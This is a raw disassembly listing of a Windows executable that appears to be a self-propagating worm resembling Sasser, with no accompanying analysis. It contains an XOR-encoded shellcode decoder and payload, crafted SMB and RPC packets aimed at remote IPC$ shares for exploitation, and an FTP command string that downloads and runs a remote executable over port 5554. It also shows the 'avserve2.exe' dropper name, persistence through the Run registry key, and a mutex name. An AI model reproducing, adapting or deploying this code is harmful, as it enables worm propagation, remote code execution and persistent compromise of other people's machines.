; CODE XREF: sub_404970:loc_4049CCj ; DATA XREF: sub_404970+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_404AAF: ; CODE XREF: sub_404970:loc_4049CCj ; DATA XREF: sub_404970:off_404A4Co jmp off_404AB8[edx*4] ; --------------------------------------------------------------------------- align 4 off_404AB8 dd offset loc_404AC8 ; DATA XREF: sub_404970+35r ; sub_404970+92r ... dd offset loc_404AD0 dd offset loc_404ADC dd offset loc_404AF0 ; --------------------------------------------------------------------------- loc_404AC8: ; CODE XREF: sub_404970+35j ; sub_404970+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404AD0: ; CODE XREF: sub_404970+35j ; sub_404970+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404ADC: ; CODE XREF: sub_404970+35j ; sub_404970+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_404AF0: ; CODE XREF: sub_404970+35j ; sub_404970+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404B08: ; CODE XREF: sub_404970+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_404B3C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_404B30 std rep movsd cld jmp off_404C50[edx*4] ; --------------------------------------------------------------------------- align 10h loc_404B30: ; CODE XREF: sub_404970+1B1j ; sub_404970+208j ... neg ecx jmp off_404C00[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_404B3C: ; CODE XREF: sub_404970+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_404B54 and eax, 3 sub ecx, eax jmp dword ptr loc_404B54+4[eax*4] ; --------------------------------------------------------------------------- loc_404B54: ; CODE XREF: sub_404970+1D6j ; DATA XREF: sub_404970+1DDr jmp off_404C50[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_404B67+1 dd offset loc_404B88 ; --------------------------------------------------------------------------- mov al, 4Bh inc eax loc_404B67: ; DATA XREF: sub_404970+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_404B30 std rep movsd cld jmp off_404C50[edx*4] ; --------------------------------------------------------------------------- align 4 loc_404B88: ; DATA XREF: sub_404970+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_404B30 std rep movsd cld jmp off_404C50[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_404B30 std rep movsd cld jmp off_404C50[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_404C04 dd offset loc_404C0C dd offset loc_404C14 dd offset loc_404C1C dd offset loc_404C24 dd offset loc_404C2C dd offset loc_404C34 off_404C00 dd offset loc_404C47 ; DATA XREF: sub_404970+1C2r ; --------------------------------------------------------------------------- loc_404C04: ; DATA XREF: sub_404970+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_404C0C: ; DATA XREF: sub_404970+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_404C14: ; DATA XREF: sub_404970+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_404C1C: ; DATA XREF: sub_404970+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_404C24: ; DATA XREF: sub_404970+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_404C2C: ; DATA XREF: sub_404970+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_404C34: ; DATA XREF: sub_404970+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_404C47: ; CODE XREF: sub_404970+1C2j ; DATA XREF: sub_404970:off_404C00o jmp off_404C50[edx*4] ; --------------------------------------------------------------------------- align 10h off_404C50 dd offset loc_404C60 ; DATA XREF: sub_404970+1B7r ; sub_404970:loc_404B54r ... dd offset loc_404C68 dd offset loc_404C78 dd offset loc_404C8C ; --------------------------------------------------------------------------- loc_404C60: ; CODE XREF: sub_404970+1B7j ; sub_404970:loc_404B54j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404C68: ; CODE XREF: sub_404970+1B7j ; sub_404970:loc_404B54j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404C78: ; CODE XREF: sub_404970+1B7j ; sub_404970:loc_404B54j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_404C8C: ; CODE XREF: sub_404970+1B7j ; sub_404970:loc_404B54j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_404970 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404CA6 proc near ; CODE XREF: sub_4033C0+13p jmp dword_405080 sub_404CA6 endp ; --------------------------------------------------------------------------- dd 0D5h dup(0) dword_405000 dd 0 dword_405004 dd 0 dword_405008 dd 0 dword_40500C dd 0 dd 0 dword_405014 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_405018 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_40127D+8Fr ... dword_40501C dd 7C834E64h ; resolved to->KERNEL32._lclose ; sub_401B08+2ABr dword_405020 dd 7C838AE7h ; resolved to->KERNEL32._lwritedword_405024 dd 7C8365A5h ; resolved to->KERNEL32._lcreatdword_405028 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40159E+4D0r ... dword_40502C dd 7C8353CEh ; resolved to->KERNEL32._lreaddword_405030 dd 7C85E830h ; resolved to->KERNEL32._lopendword_405034 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_401EF0+F8r ... dword_405038 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_402029:loc_402095r dword_40503C dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_405040 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_405044 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_405048 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_40504C dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_405050 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_405054 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_405058 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeapdword_40505C dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_404478+51r dword_405060 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_403D2A+Dr ... dword_405064 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_405068 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_40506C dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_403AE6+14r dword_405070 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_40371C+12Dr dword_405074 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_40371C+8Dr dword_405078 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_40371C+11Br ... dword_40507C dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_405080 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_405084 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_403D93+2C4r ... dword_405088 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_40508C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_405090 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_405094 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_4031D7+166r dword_405098 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_4046FE+14Dr ... dword_40509C dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_4046FE+A7r dword_4050A0 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_4050A4 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_4031D7+59r dword_4050A8 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_4050AC dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4050B0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_402B10+91r dword_4050B4 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_4050B8 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_4050BC dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4050C0 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4050C4 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4050C8 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_4046FE+20Dr dword_4050CC dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_4030A5+E1r dword_4050D0 dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_4050D4 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_4050D8 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_4035C9+143r align 10h dword_4050E0 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_40127D+B7r ... align 8 dword_4050E8 dd 0 dword_4050EC dd 0 ; sub_40159E+2DDr ... dword_4050F0 dd 0 ; sub_401398+151r ... dword_4050F4 dd 0 ; sub_40127D+27r ... dword_4050F8 dd 0 ; sub_40127D+51r ... dword_4050FC dd 0 ; sub_40127D+6Cr ... dword_405100 dd 0 dword_405104 dd 0 dword_405108 dd 0 dword_40510C dd 0 ; sub_4011D5+7r ... dword_405110 dd 0 ; sub_4011D5+1Er ... dword_405114 dd 0 dword_405118 dd 0 dword_40511C dd 0 ; sub_40127D+10Fr ... dd 2 dup(0) dword_405128 dd 0FFFFFFFFh, 402915h, 402929h, 746E7572h, 20656D69h ; DATA XREF: .text:00402843o dd 6F727265h, 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h dd 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_406DA4o db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4035C9+119o align 4 asc_4053E8 db 0Ah ; DATA XREF: sub_4035C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4035C9+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_4035C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4035C9+7Do align 4 dword_405424 dd 0 ; sub_4046FE+36o dword_405428 dd 0FFFFFFFFh, 403815h, 403819haGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_404573+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_404573+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_404573+24o aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_404573+Do align 10h dword_405470 dd 0FFFFFFFFh, 40480Eh, 404812h, 0FFFFFFFFh, 4048C2h, 4048C6h ; DATA XREF: sub_4046FE+5o dd 55CCh, 2 dup(0) dd 561Ch, 50E0h, 5500h, 2 dup(0) dd 5714h, 5014h, 55D4h, 2 dup(0) dd 5722h, 50E8h, 54ECh, 2 dup(0) dd 5774h, 5000h, 5 dup(0) dd 572Eh, 5766h, 5754h, 5746h, 0 dd 7C801D77h, 7C80BE01h, 7C834E64h, 7C838AE7h, 7C8365A5h dd 7C802442h, 7C8353CEh, 7C85E830h, 7C80B4CFh, 7C810637h dd 7C86136Dh, 7C910331h, 7C80929Ch, 7C80E93Fh, 7C8286EEh dd 7C821363h, 7C80ADA0h, 7C9179FDh, 7C809A51h, 7C9105D4h dd 7C8127A7h, 7C809915h, 7C812E76h, 7C80A490h, 7C838A0Ch dd 7C809BF8h, 7C810D87h, 7C937A40h, 7C91043Dh, 7C809AE4h dd 7C812BB6h, 7C810EF8h, 7C810E51h, 7C80CCA8h, 7C838DE8h dd 7C80B6A1h, 7C801EEEh, 7C812F1Dh, 7C8111DAh, 7C81CDDAh dd 7C801E16h, 7C80DDF5h, 7C862E2Ah, 7C81DF77h, 7C814AE7h dd 7C80A0D4h, 7C81CF5Bh, 7C812F08h, 7C80CC97h, 7C812F39h dd 0 dd 7E41A8ADh, 0 dd 80000001h, 80000010h, 80000013h, 80000009h, 80000017h dd 80000004h, 8000000Dh, 80000039h, 8000000Ch, 8000000Bh dd 80000034h, 80000073h, 80000002h, 80000003h, 0 dd 73770000h, 6E697270h, 416674h, 52455355h, 642E3233h dd 6C6Ch, 65470000h, 6F725074h, 64644163h, 73736572h, 0 aLoadlibrarya db 'LoadLibraryA',0 align 4 aLstrcpya db 'lstrcpyA',0 align 4 a_lclose db '_lclose',0 dd 6C5F0000h, 74697277h, 65h, 72636C5Fh, 746165h, 6C530000h dd 706565h, 6C5F0000h, 64616572h, 0 a_lopen db '_lopen',0 align 10h dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 aCreatethread db 'CreateThread',0 align 4 aWinexec db 'WinExec',0 dd 65470000h, 73614C74h, 72724574h, 726Fh, 65470000h, 63695474h dd 756F436Bh, 746Eh, 72430000h, 65746165h, 6574754Dh, 4178h dd 6F430000h, 69467970h, 41656Ch, 65470000h, 6E695774h dd 73776F64h, 65726944h, 726F7463h, 4179h, 4E52454Bh, 32334C45h dd 6C6C642Eh, 53570000h, 32335F32h, 6C6C642Eh, 0 aAbortsystemshu db 'AbortSystemShutdownA',0 align 4 aRegclosekey db 'RegCloseKey',0 dd 65520000h, 74655367h, 756C6156h, 41784565h, 0 aRegopenkeya db 'RegOpenKeyA',0 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 aGetmodulehandl db 'GetModuleHandleA',0 align 4 aGetstartupinfo db 'GetStartupInfoA',0 dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h dd 69737265h, 6E6Fh, 78450000h, 72507469h, 7365636Fh, 73h dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 0 aGetcurrentproc db 'GetCurrentProcess',0 align 10h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 4 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h dd 746E656Dh, 69727453h, 5773676Eh, 0 aSethandlecount db 'SetHandleCount',0 align 4 dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h dd 72437061h, 65746165h, 0 aVirtualfree db 'VirtualFree',0 dd 65480000h, 72467061h, 6565h, 74520000h, 776E556Ch, 646E69h dd 72570000h, 46657469h, 656C69h, 754D0000h, 4269746Ch dd 54657479h, 6469576Fh, 61684365h, 72h, 53746547h, 6E697274h dd 70795467h, 4165h, 65470000h, 72745374h, 54676E69h, 57657079h dd 0 aGetcpinfo db 'GetCPInfo',0 align 4 aGetacp db 'GetACP',0 align 4 dd 65470000h, 4D454F74h, 5043h, 65480000h, 6C417061h, 636F6Ch dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65480000h, 65527061h dd 6F6C6C41h, 63h, 614D434Ch, 72745370h, 41676E69h, 0 aLcmapstringw db 'LCMapStringW',0 align 4 dd 191h dup(0) dword_406000 dd 0 dword_406004 dd 0 dword_406008 dd 0 dd offset sub_403C6B dword_406010 dd 0 dword_406014 dd 0 dword_406018 dd 0 dword_40601C dd 0 dword_406020 dd 4 dup(0) off_406030 dd offset aEchoOffEchoOpe ; DATA XREF: sub_40127D+AAr ; "echo off&echo open %s 5554>>cmd.ftp&ech"... ; --------------------------------------------------------------------------- loc_406034: ; DATA XREF: sub_40159E+132o ; sub_40159E+1ABo jmp short loc_406046 ; =============== S U B R O U T I N E ======================================= sub_406036 proc near ; CODE XREF: sub_406036:loc_406046p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_40603E: ; CODE XREF: sub_406036+Cj xor byte ptr [edx+ecx], 99h loop loc_40603E jmp short loc_40604B ; --------------------------------------------------------------------------- loc_406046: ; CODE XREF: .text:loc_406034j call sub_406036 loc_40604B: ; CODE XREF: sub_406036+Ej jo short near ptr dword_4059BC+626h cwde cdq cdq retn sub_406036 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_4060E4 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40159E+102o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_4061CC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_401398+15Do ; sub_40159E+2BDo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_406258 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401398+188o ; sub_40159E+2ECo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 0 dword_406304 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401398+1ADo ; sub_40159E+315o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4063E4 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401398+53o ; sub_40159E+57o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_401398+85o ; sub_40159E+89o unicode 0, <C$>,0 a????? db '?????',0 align 8 dword_406448 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40159E+369o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_4064B4 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40159E+392o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_406558 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40159E+3C8o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4065D8 dd offset loc_401495 ; DATA XREF: sub_40159E+3F6o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_40666C dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40159E+425o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4066D8 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40159E+450o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_40674C dd 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 4 dup(0) dd 20h, 0Ch dup(0) dword_406810 dd 1004600h ; sub_40159E+19Er dd 1, 20h, 0Ch dup(0) dd 7515123Ch, 2, 20h, 0Ch dup(0) dd 751C123Ch, 0Fh dup(0) off_4068C8 dd offset aAvserve2_exe ; DATA XREF: sub_4020D7:loc_40212Fr ; sub_4020D7+B5r ; "avserve2.exe" dd offset aAvserve2 ; "avserve2" off_4068D0 dd offset dword_406910 ; DATA XREF: sub_401B08+1Ar ; sub_401B08+2Dr off_4068D4 dd offset dword_406908 ; DATA XREF: sub_401B08+77r ; sub_401B08+84r off_4068D8 dd offset dword_406900 ; DATA XREF: sub_401B08+A8r ; sub_401B08+B5r off_4068DC dd offset dword_4068F8 ; DATA XREF: sub_401B08+2BCr ; sub_401B08+2C9r ... off_4068E0 dd offset dword_4068F0 ; DATA XREF: sub_401B08+184r ; sub_401B08+191r off_4068E4 dd offset dword_4068E8 ; DATA XREF: sub_401B08+1B9r ; sub_401B08+1C6r dword_4068E8 dd 20303531h, 0A4B4Fhdword_4068F0 dd 20303032h, 0A4B4Fhdword_4068F8 dd 20363232h, 0A4B4Fhdword_406900 dd 20303332h, 0A4B4Fhdword_406908 dd 20313333h, 0A4B4Fhdword_406910 dd 20303232h, 0A4B4FhaAvserve2 db 'avserve2',0 ; DATA XREF: .text:004068CCo align 4 aAvserve2_exe db 'avserve2.exe',0 ; DATA XREF: .text:off_4068C8o align 4 aEchoOffEchoOpe db 'echo off&echo open %s 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo ' ; DATA XREF: .text:off_406030o db 'user&echo bin>>cmd.ftp&echo get %i_up.exe>>cmd.ftp&echo bye>>cmd.' db 'ftp&echo on&ftp -s:cmd.ftp&%i_up.exe&echo off&del cmd.ftp&echo on' db 0Ah,0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_4010D2:loc_401140o align 4 aCWin2_log db 'c:\win2.log',0 ; DATA XREF: sub_401210+27o aI db '%i',0 ; DATA XREF: sub_401210+16o align 4 aSC db '%s%c',0 ; DATA XREF: sub_401398+1DFo align 10h aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_401398+20o ; sub_40159E+23o align 4 dword_406A2C dd 6EB06EBh, 0 dword_406A34 dd 1CEC8166h dword_406A38 dd 0E4FF07h dword_406A3C dd 302E35h dword_406A40 dd 312E35h aQuit db 'QUIT',0 ; DATA XREF: sub_401B08+2DAo align 4 aRetr db 'RETR',0 ; DATA XREF: sub_401B08+1A2o align 4 aI_I_I_I db '%i.%i.%i.%i',0 ; DATA XREF: sub_401B08+173o ; sub_401EF0+D2o word_406A60 dw 2Ch ; DATA XREF: sub_401B08+EEr align 4 aPort db 'PORT',0 ; DATA XREF: sub_401B08+C6o align 4 aPass db 'PASS',0 ; DATA XREF: sub_401B08+95o align 4 aUser db 'USER',0 ; DATA XREF: sub_401B08+64o align 4 asc_406A7C: ; DATA XREF: sub_401EF0+102o unicode 0, < >,0 aJumpallsnlstil db 'JumpallsNlsTillt',0 ; DATA XREF: sub_402029+50o align 4 aJobaka3 db 'Jobaka3',0 ; DATA XREF: sub_402029+Fo aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_4020D7+8Co align 4 asc_406ACC: ; DATA XREF: sub_4020D7+4Bo unicode 0, <\>,0 off_406AD0 dd offset sub_402AFF ; DATA XREF: sub_402934+1Cr dword_406AD4 dd 2 ; 